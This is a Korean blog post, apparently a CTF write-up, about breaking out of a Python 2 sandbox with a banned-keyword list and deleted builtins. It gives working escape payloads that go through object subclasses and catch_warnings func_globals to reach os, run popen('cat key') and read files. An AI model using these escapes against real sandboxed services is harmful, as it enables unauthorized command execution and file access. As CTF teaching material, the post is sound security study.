다음과 같은 소스가 주어진다.
#!/usr/bin/env python
from __future__ import print_function
print("Welcome to my Python sandbox! Enter commands below!")
banned = [
"import",
"exec",
"eval",
"pickle",
"os",
"subprocess",
"kevin sucks",
"input",
"banned",
"cry sum more",
"sys"
]
targets = __builtins__.__dict__.keys()
targets.remove('raw_input')
targets.remove('print')
for x in targets:
del __builtins__.__dict__[x]
while 1:
print(">>>", end=' ')
data = raw_input()
for no in banned:
if no.lower() in data.lower():
print("No bueno")
break
else: # this means nobreak
exec data
banned를 빈 리스트([])로 덮어씌우려해도 banned가 금지어라 사용이 불가하고, 모든 builtin 함수나 객체 등이 지워진다.
따라서 object를 직접 사용할 수는 없지만 ().__class__.__bases__[0]를 통해 우회할 수 있다.
또 ().__class__.__bases__[0].__subclasses__()를 이용해 이 시점에서 객체화된 object의 모든 subclass를 접근할 수 있다.
이 subclass중 warning 모듈에 catch_warnings라는 class가 있다.
warning 모듈에서는 linecache를 import하고, linecache 모듈에서는 os를 import하므로, catch_warnings 안에 정의되어 있는 함수의 func_globals를 통해 linecache 함수에 접근할 수 있고, 곧 os 모듈에 접근할 수 있다. catch_warnings의 함수는 /usr/lib/python2.7/warnings.py 소스를 확인해보면 __init__ 등이 있다.
cw = [x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'catch_warnings'][0]
print cw.__init__.func_globals
# RESULT: {'filterwarnings': XX, ..., 'linecache': <module 'linecache' from '/usr/lib/python2.7/linecache.pyc'>, ...}
print dir(cw.__init__.func_globals['linecache'])
# RESULT: ['__all__', ..., 'os', 'sys', 'updatecache']
print cw.__init__.func_globals['linecache'].__dict__['os']
# RESULT: <module 'os' from '/usr/lib/python2.7/os.pyc'>
이를 이용해 디렉토리를 확인한 후 key를 읽으면 된다. 다만 os라는 글자는 막혀있으므로 "o"+"s"로 우회한다.
print([x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'catch_warnings'][0].__init__.func_globals["linecache"].__dict__["o"+"s"].listdir('.'))
# .. .. key ..
print([x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'catch_warnings'][0].__init__.func_globals["linecache"].__dict__["o"+"s"].popen('cat key','r').read(100))
# flag{definitely_not_intro_python}
※ list를 확인한 뒤 파일을 읽을 때는 object의 subclass중 file class를 이용할 수도 있다.
[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'file'][0]("./key").read()
# flag{definitely_not_intro_python}
'CTF' 카테고리의 다른 글
11회 해킹캠프 미니CTF writeup (0) | 2015.02.19 |
---|---|
2014 ChristmasCTF 후기 (0) | 2014.12.31 |
2014 화이트햇 콘테스트 misc50(계피말고 시나몬) Writeup (0) | 2014.11.10 |
2014 화이트햇 콘테스트 crypto100(Cold war) Writeup (0) | 2014.11.10 |
CSAW CTF 2014 Exploitation 400 (saturn) Writeup (0) | 2014.09.27 |